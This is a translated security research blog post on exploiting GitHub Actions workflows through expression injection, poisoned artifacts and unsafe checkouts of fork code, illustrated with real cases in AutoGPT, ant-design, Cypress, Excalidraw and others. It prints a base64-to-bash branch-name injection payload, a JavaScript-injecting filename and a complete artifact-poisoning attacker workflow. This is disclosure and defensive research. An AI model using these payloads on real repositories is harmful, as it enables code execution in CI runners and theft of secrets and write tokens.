GitHub Actions exploitation: untrusted input (English translation)

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Content (translated into English)

Machine translation of `synacktiv-github-actions-exploitation-untrusted-input.md`, which holds the source's own words. Code, payloads, type names, URLs and CVE identifiers were masked before translating and restored after, so they are byte-identical to the original.

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GitHub Actions exploitation: untrusted input

Written by Hugo Vincent - 02/07/2024 - in Pentest - Download

In the previous article, we explored the mechanics of GitHub Actions, uncovering the various elements present in a GitHub workflow. For example, we explained how permissions are managed, how workflows are triggered and the security implication of some dangerous triggers. We also detailed security protections that need to be bypassed to perform exploitation.

In this article, we will outline three common misconfigurations that can be exploited to gain write access to the targeted repository or extract sensitive secrets. Each of them will be illustrated with a real vulnerability we found on open source projects such as Microsoft, FreeRDP, AutoGPT, Ant-Design, Cypress, Excalidraw and others.

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Expression injection

Each workflow trigger comes with an associated GitHub context, offering comprehensive information about the event that initiated it. This includes details about the user who triggered the event, the branch name, and other relevant contextual information. Certain components of this event data, such as the base repository name, or pull request number, cannot be manipulated or

exploited for injection by the user who initiated the event (e.g., in the case of a pull request). This ensures a level of control and security over the information provided by the GitHub context during workflow execution.

However, some elements can be controlled by an attacker and should be sanitized before being used. Here is the list of such elements, provided by GitHub:

- `github.event.issue.title`
- `github.event.issue.body`
- `github.event.pull_request.title`
- `github.event.pull_request.body`
- `github.event.comment.body`
- `github.event.review.body`
- `github.event.pages.*.page_name`
- `github.event.commits.*.message`
- `github.event.head_commit.message`
- `github.event.head_commit.author.email`
- `github.event.head_commit.author.name`
- `github.event.commits.*.author.email`
- `github.event.commits.*.author.name`
- `github.event.pull_request.head.ref`
-

`github.event.pull_request.head.label`

-

`github.event.pull_request.head.repo.default_branch`

-

`github.head_ref`

Apache

For instance in the Apache superset repository on branch 1.2 we can find a vulnerable example:

[image: Apache superset expression injection.]

However, since this vulnerable code is not present on the default branch it is not exploitable. This kind of vulnerability is already known and is less common nowadays.

The AutoGPT repository was affected by this vulnerability. The `ci.yml` workflow of the branch release-v0.4.7 is configured with a dangerous `pull_request_target` trigger:

```
File: ci.yml
01: name: Python CI
02:
03: on:
04:   push:
05:     branches: [ master, ci-test* ]
06:     paths-ignore:
07:       - 'tests/Auto-GPT-test-cassettes'
08:       - 'tests/challenges/current_score.json'
09:   pull_request:
10:     branches: [ stable, master, release-* ]
11:   pull_request_target:
12:     branches: [ master, release-*, ci-test* ]
```

As explained in our previous example, the `pull_request_target` trigger means that anyone can trigger this workflow even external user by making a simple pull request.

At line 110, the expression `${{ github.event.pull_request.head.ref }}` is used. This expression represents the name of the branch which is directly concatenated in the bash script without proper sanitization:

File: ci.yml

```
107:     - name: Checkout cassettes
108:       if: ${{ startsWith(github.event_name, 'pull_request') }}
109:       run: |
110:         cassette_branch="${{ github.event.pull_request.user.login }}-${{ github.event.pull_request.head.ref }}"
111:         cassette_base_branch="${{ github.event.pull_request.base.ref }}"
```

With a branch name such as `";{echo,aWQK}|{base64,-d}|{bash,-i};echo"`, it is possible to get arbitrary code execution:

[image: Malicious branch name][image: Arbitrary code execution]

An attacker allowed to execute arbitrary code in this context could get a reverse shell inside the runner and exfiltrate the following secret variables:

File: ci.yml

```
160:       env:
161:         CI: true
162:         PROXY: ${{ github.event_name == 'pull_request_target' && secrets.PROXY || '' }}
163:         AGENT_MODE: ${{ github.event_name == 'pull_request_target' && secrets.AGENT_MODE || '' }}
164:         AGENT_TYPE: ${{ github.event_name == 'pull_request_target' && secrets.AGENT_TYPE || '' }}
165:         OPENAI_API_KEY: ${{ github.event_name != 'pull_request_target' && secrets.OPENAI_API_KEY || '' }}
[...]
175:       run: |
177:         base64_pat=$(echo -n "pat:${{ secrets.PAT_REVIEW }}" | base64 -w0)
```

For more information on secret extractions please refer to those articles[1][2].

Moreover, since the write permission is explicitly set the attacker will also be able to modify the code of the AutoGPT project.

File: ci.yml

```
79:     permissions:
80:       # Gives the action the necessary permissions for publishing new
81:       # comments in pull requests.
82:       pull-requests: write
83:       # Gives the action the necessary permissions for pushing data to the
84:       # python-coverage-comment-action branch, and for editing existing
85:       # comments (to avoid publishing multiple comments in the same PR)
86:       contents: write
```

Ranked as the 24th most starred GitHub repository, AutoGPT's compromise could have had far-reaching consequences, potentially impacting a substantial number of users.

Another vulnerability affecting the same workflow was also found, more on this in the last section. After reporting this vulnerability to the AutoGPT team we found out that both vulnerabilities were already known, a security company independently found3 the same vulnerabilities. While it was fixed on the main branch, it was still vulnerable as the `pull_request_target` trigger can be exploited from any branch and not only from the default branch.

The previous dangerous context element list provided by GitHub can also be extended with other potentially dangerous context elements. We often encounter workflows using the following context elements directly in a run script:

```
run: |
  echo ${{steps.step-name.outputs.value}}'
  echo ${{ needs.job.outputs.value }}
  echo ${{ env.ENV_VAR }}
```

If an attacker manages to control one of these values by exploiting a workflow, this would result in arbitrary command execution. This is why the previous list should be enhanced with these elements:

-

`env.*`

-

`steps.*.outputs.*`

-

`needs.*.outputs.*`

This vulnerability can be found with octoscan4. Octoscan is a static vulnerability scanner for GitHub action workflows. Here is an example showing how this tool can help in identifying this misconfiguration:

[image: octoscan expression injection]

You can see that the tool also detect other vulnerabilities, more on this in the last part of this article.

Microsoft

Here is another example with the Microsoft repository generative-ai-for-beginners.

The workflow `validate-markdown.yml` is configured with a dangerous `pull_request_target` trigger. It also performs a dangerous checkout with a reference to the forked repository that can be controlled by an attacker:

```
File: validate-markdown.yml
22:    steps:
23:      - name: Checkout Repo
24:        uses: actions/checkout@v3
25:        with:
26:          ref: ${{ github.event.pull_request.head.sha }}
```

Then, the `action-check-markdown` action is executed:

```
File: validate-markdown.yml
27:      - name: Check broken Paths
28:        id: check-broken-paths
29:        uses: john0isaac/action-check-markdown@v1.0.0
30:        with:
31:          command: check-broken-paths
32:          directory: ./
33:          github-token: ${{ secrets.GITHUB_TOKEN }}
```

Finally, the result of the `action-check-markdown` is concatenated inside a GitHub script action (line 49):

```
File: validate-markdown.yml
36:        uses: actions/github-script@v6
37:        with:
38:          github-token: ${{ secrets.GITHUB_TOKEN }}
39:          script: |
40:            github.rest.issues.createComment({
41:              issue_number: context.issue.number,
42:              owner: context.repo.owner,
43:              repo: context.repo.repo,
44:              body: `
45:              We have automatically detected the following broken relative paths in your lessons.
46:              Please check the file paths and associated broken paths inside them.
47:              Learn more from our [contributing guide](https://github.com/microsoft/generative-ai-for-beginners/blob/n
48:              # Check Broken Paths
49:              ${{ env.BROKEN_PATHS }}
50:              `
51:            })
```

However, it's possible to gain arbitrary code execution in this workflow by crafting a malicious `.md` file that will generate a malicious output for the `BROKEN_PATH` variable which will be injected in the GitHub script action.

First the repository is forked by an attacker and a PR is made with a malicious markdown file named `` `}); console.log('pwn') ; console.log({a: .md` ``:

```
[![GitHub issues](https://test.com/test.svg)](https://github.com/john0isaac/markdown-checker/issues}\\))aaaaa
```

This file is broken and will trigger an error when the `action-check-markdown` will be executed. Running `markdown-checker --dir ./ --func 'check_urls_tracking'` will trigger the following report:

```
| File Full Path | Issues |
|--------|--------|
|<code>/tmp/a/`}); console.log('pwn') ; console.log({a:`.md</code>|<code>['https://github.com/john0isaac/markdown-
```

Since this is concatenated inside the GitHub script action the `console.log('pwn')` will be executed.

[image: Arbitrary code execution.]

While GitHub published5 in 2020 a blog post to prevent this kind of vulnerability it is still possible to find them.

Dangerous artifacts

It is common practice to use artifacts to pass data between different workflows. We often encounter this with the `workflow_run` trigger where the triggering workflow will prepare some data that will then be sent to the triggered workflow. Given the untrusted nature of this artifact data, it is crucial to treat it with caution and recognize it as a potential threat. The vulnerability arises from the fact that external entities, such as malicious actors, can influence the content of the artifact data.

The `visual-regression-diff-finish.yml` workflow of the ant-design repository was found to be vulnerable to this kind of attack.

It is configured with a `workflow_run` trigger:

File: visual-regression-diff-finish.yml

```
3: name:    Visual Regression Diff Finish
4:
5: on:
6:   workflow_run:
7:     workflows: ["   Visual Regression Diff Build"]
8:     types:
9:       - completed
```

A checkout is performed to download the legitimate code from the repository:

File: visual-regression-diff-finish.yml

```
59:     steps:
60:       - name: checkout
61:         uses: actions/checkout@v4
```

The workflow then downloads some artifacts from the triggering workflow by using the `dawidd6/action-download-artifact` action:

File: visual-regression-diff-finish.yml

```
63:       # We need get persist-index first
64:       - name: download image snapshot artifact
65:         uses: dawidd6/action-download-artifact@v2
66:         with:
67:           workflow: ${{ github.event.workflow_run.workflow_id }}
68:           run_id: ${{ github.event.workflow_run.id }}
69:           name: visual-regression-diff-ref
[...]
76:       # Download report artifact
77:       - name: download report artifact
78:         id: download_report
[...]
80:         uses: dawidd6/action-download-artifact@v2
81:         with:
82:           workflow: ${{ github.event.workflow_run.workflow_id }}
83:           run_id: ${{ github.event.workflow_run.id }}
84:           name: visual-regression-report
```

This action is really popular and it is used in a lot of workflows. The initiating workflow can upload artifacts using the `actions/upload-artifact action`, while the subsequent workflow can retrieve the

artifact as a zip file using the `dawidd6/action-download-artifact` action. If no specific directory is specified, the artifact will be automatically unzipped in the current directory. It retrieves the artifacts via their name, but the actual zip file can contain anything.

Finally, a JavaScript file is executed:

```
File: visual-regression-diff-finish.yml
087:      - name: upload visual-regression report
088:        id: report
089:        env:
090:          ALI_OSS_AK_ID: ${{ secrets.ALI_OSS_AK_ID }}
091:          ALI_OSS_AK_SECRET: ${{ secrets.ALI_OSS_AK_SECRET }}
092:          PR_ID: ${{ steps.pr.outputs.id }}
093:        run: |
[...]
103:          node scripts/visual-regression/upload.js ./visualRegressionReport --ref=pr-$PR_ID
```

A malicious user could trigger this workflow with malicious version of the different artifacts. Since the workflow does not check the content of the artifacts it is possible to overwrite the file `scripts/visual-regression/upload.js` initially obtained via the checkout step.

First the attacker forks the repository, then proceeds to create the following workflow:

```
name:    Visual Regression Diff Build

on:
 pull_request:

jobs:
 visual-diff-report:
    name: visual-diff report
    runs-on: ubuntu-latest
    steps:
    - name: prepare
      run: |

        # empty file to be compliant
        mkdir visual-regression-ref
        touch visual-regression-ref/empty.txt
        tar -czvf visualRegressionReport.tar.gz visual-regression-ref/

        # add the malicious upload.js file
        mkdir visual
        mkdir -p visual/scripts/visual-regression/
        echo 'console.log("pwn");' > visual/scripts/visual-regression/upload.js

        # to pass the rm package.json
        touch visual/package.json

    - name: upload report artifact
      uses: actions/upload-artifact@v3
      with:
        name: visual-regression-report
        path: visualRegressionReport.tar.gz

    - name: Upload persist key
      uses: actions/upload-artifact@v3
      with:
        name: visual-regression-diff-ref
        path: visual/*
```

When the pull request is created, this workflow will be launched and will in turn trigger the vulnerable `visual-regression-diff-finish.yml` workflow. It will download the malicious artifacts and the `upload.js` script will be overwritten:

[image: Ant-design arbitrary code execution.]

In this context an attacker could exfiltrate the Alibaba cloud access keys:

```
File: visual-regression-diff-finish.yml
87:     - name: upload visual-regression report
88:       id: report
89:       env:
90:         ALI_OSS_AK_ID: ${{ secrets.ALI_OSS_AK_ID }}
91:         ALI_OSS_AK_SECRET: ${{ secrets.ALI_OSS_AK_SECRET }}
```

Our tool octoscan is also able to detect this kind of vulnerability:

[image: octoscan dangerous artifacts]

Here is another good example6 of this kind of exploitation, a company found a vulnerability in a workflow of the rust-lang repository.

Dangerous checkouts

Automated processing of pull requests (PRs) originating from external forks carries inherent risks, and it is imperative to handle such PRs with caution, treating them as untrusted input. While conventional CI/CD practices involve ensuring that a new PR does not disrupt the project build, introduce functional regressions, and validates test success, these automated behaviors can pose a security risk when dealing with untrusted PRs.

Such security issues can occur when a developer uses the `workflow_run` or the `pull_request_target` triggers. These triggers run in a privileged context, as they have read access to secrets and potentially have write access on the targeted repository. Performing an explicit checkout on the untrusted code will result in the attacker code being downloaded in such context.

Here is a vulnerable example from the Cypress repository. The `semantic-pull-request.yml` workflow is configured with a dangerous `pull_request_target` trigger:

```
File: semantic-pull-request.yml
1: name: "Semantic Pull Request"
2:
3: on:
4:   pull_request_target:
5:     types:
6:       - opened
7:       - edited
8:       - synchronize
```

The workflow then performs a dangerous checkout with a reference to the forked repository that can be controlled by an attacker line 18:

```
File: semantic-pull-request.yml
15:     - name: Checkout
16:       uses: actions/checkout@v3
17:       with:
18:         ref: ${{ github.event.pull_request.head.ref }}
19:         repository: ${{ github.event.pull_request.head.repo.full_name }}
```

The expression `${{ github.event.pull_request.head.ref }}` references the forked repository. During the checkout process, the workflow will retrieve code from the forked repository, which may potentially include malicious files.

Since the attacker controlled code is downloaded inside the runner, it is possible to gain arbitrary code execution due to the `npm install` command:

```
File: semantic-pull-request.yml
20:     - run: npm install
21:       working-directory: scripts/github-actions/semantic-pull-request/
```

First the repository is forked by an attacker and a PR is made with a malicious `package.json` file:

[image: Malicious PR.]

When the PR is created the workflow `semantic-pull-request.yml` will be triggered and the malicious script will be executed:

[image: Arbitrary code execution.]

In this example the variable `GITHUB_TOKEN` has write permissions on the repository, an attacker could push arbitrary code and compromise a lot of users as this repository is widely used.

Again here is an example with octoscan:

[image: octoscan dangerous checkout]

AutoGPT

As previously explained, the AutoGPT repository was also affected by this vulnerability. The `ci.yml` workflow of the branch release-v0.4.7 is configured with a dangerous `pull_request_target` trigger and a dangerous checkout with a reference to the fork repository is performed in the following step:

```
File: ci.yml
28:     - name: Checkout repository
29:       uses: actions/checkout@v3
30:       with:
31:         fetch-depth: 0
32:         ref: ${{ github.event.pull_request.head.ref }}
33:         repository: ${{ github.event.pull_request.head.repo.full_name }}
```

Then, some python packages are installed:

```
File: ci.yml
50:     - name: Install dependencies
51:       run: |
52:         python -m pip install --upgrade pip
53:         pip install -r requirements.txt
```

A malicious user could trigger this workflow with malicious version of the `requirements.txt` file.

First the repository is forked by an attacker and an evil package is created. A crafted `requirement.txt` file is also included in the pull request:

[image: Malicious package.]

When the pull request is created, the `ci.yml` file will automatically be launched and the `setup.py` script will be executed:

[image: Arbitrary code execution]

To work the attacker only need to perform the PR on the branch release-v0.4.7 and the vulnerable workflow will be triggered without any interaction bypassing the first time contributor protection.

Excalidraw

The `autorelease-preview.yml` workflow of the excalidraw repository is configured with an `issue_comment` trigger:

```
File: autorelease-preview.yml
2: on:
3:   issue_comment:
4:     types: [created, edited]
```

The only condition to trigger the workflow is to make a specific comment:

File: autorelease-preview.yml

```
8:    name: Auto release preview
9:    if: github.event.comment.body == '@excalibot trigger release' && github.event.issue.pull_request
```

Then a reference to the commit id of the pull request is obtained with a GitHub script action:

File: autorelease-preview.yml

```
20:       uses: actions/github-script@v4
21:       with:
22:         result-encoding: string
23:         script: |
24:           const { owner, repo, number } = context.issue;
25:           const pr = await github.pulls.get({
26:             owner,
27:             repo,
28:             pull_number: number,
29:           });
30:           return pr.data.head.sha
```

This reference is then used to perform a checkout. Note that this reference points to the head commit of the PR coming from the fork repository.

File: autorelease-preview.yml

```
31:     - uses: actions/checkout@v2
32:       with:
33:         ref: ${{ steps.sha.outputs.result }}
34:         fetch-depth: 2
```

Finally, the `yarn` package manager is used:

File: autorelease-preview.yml

```
44:     - name: Auto release preview
45:       id: "autorelease"
46:       run: |
47:         yarn add @actions/core
48:         yarn autorelease preview ${{ github.event.issue.number }}
```

A malicious user could trigger this workflow with malicious `.yarnrc.yml` file.

First the repository is forked by an attacker and a malicious `.yarnrc.yml` is created along with a malicious JavaScript file:

[image: Malicious files.]

Then a pull request is created, and the following comment is made:

[image: Triggering comment.]

The vulnerable workflow is automatically launched, and the malicious code is executed:

[image: Arbitrary code execution.]

This workflow is quite sensitive as it contains the `NPM_TOKEN` used to push code on npmjs.org:

```
File: autorelease-preview.yml
39:     - name: Set up publish access
40:       run: |
41:         npm config set //registry.npmjs.org/:_authToken ${NPM_TOKEN}
42:       env:
43:         NPM_TOKEN: ${{ secrets.NPM_TOKEN }}
```

As of the time of writing the excalidraw package has 56k weekly downloads signifying that such compromise could potentially impact a significant number of users.

Apache Doris

The `code-checks.yml` workflow of the branch `branch-deltalake` of the Apache Doris repository is configured with a dangerous `pull_request_target` trigger:

```
File: code-checks.yml
18: name: Code Checks
19:
20: on: [push, pull_request_target]
```

A checkout is then performed with a reference to the head commit of the PR coming from the fork repository:

```
File: code-checks.yml
33:     - name: Checkout ${{ github.ref }} ( ${{ github.event.pull_request.head.sha }} )
34:       if: ${{ github.event_name == 'pull_request_target' }}
35:       uses: actions/checkout@v3
36:       with:
37:         ref: ${{ github.event.pull_request.head.sha }}
38:         submodules: recursive
```

A patch on a local file is applied line 43:

```
File: code-checks.yml
40:       - name: Patch
41:         run: |
42:           pushd .github/actions/action-sh-checker >/dev/null
43:           sed -i 's/\[ "$GITHUB_EVENT_NAME" == "pull_request" \]/\[\[ "$GITHUB_EVENT_NAME" == "pull_request" || "$(
44:           popd >/dev/null
```

Note that on the default branch this step is different and prevent any exploitation.

Finally, the local action downloaded from the checkout step is executed:

```
File: code-checks.yml
46:       - name: Run ShellCheck
47:         uses: ./.github/actions/action-sh-checker
48:         env:
49:           GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
```

A malicious user could trigger this workflow with malicious version of the action `actions/action-sh-checker`. Since the workflow checkout the code of the attacker from a forked repository, it would be possible to gain arbitrary code execution inside this workflow. To work the attacker only need to perform the PR on the branch `branch-deltalake` and the vulnerable workflow will be triggered.

The same vulnerability was also found on FreeRDP7 where we manage to gain arbitrary write on the repository. We also found this on the Angular repository, the exploitation is the same, a bash script from the fork repository is downloaded and executed.

Conclusion

This article highlights three common misconfigurations in GitHub workflows that can be leveraged to obtain write access to the targeted repository or extract sensitive secrets. We illustrated these vulnerabilities using real-world instances from popular open-source projects such as Microsoft, FreeRDP, AutoGPT, Excalidraw, Angular, Apache, Cypress and others. In the next blogpost, we will explore additional attack vectors leading to similar consequences.

We also introduce octoscan, a static vulnerability scanner for GitHub action workflows. You can find it on our GitHub4.

- 1. https://karimrahal.com/2023/01/05/github-actions-leaking-secrets/
- 2. https://www.synacktiv.com/publications/cicd-secrets-extraction-tips-and...
- 3. https://github.com/CycodeLabs/raven/tree/main?tab=readme-ov-file#hall-o...
- 4. a. b. https://github.com/synacktiv/octoscan

- 5. https://securitylab.github.com/research/github-actions-preventing-pwn-r...
- 6. https://www.legitsecurity.com/blog/artifact-poisoning-vulnerability-dis...
- 7. https://github.com/FreeRDP/FreeRDP/pull/10209
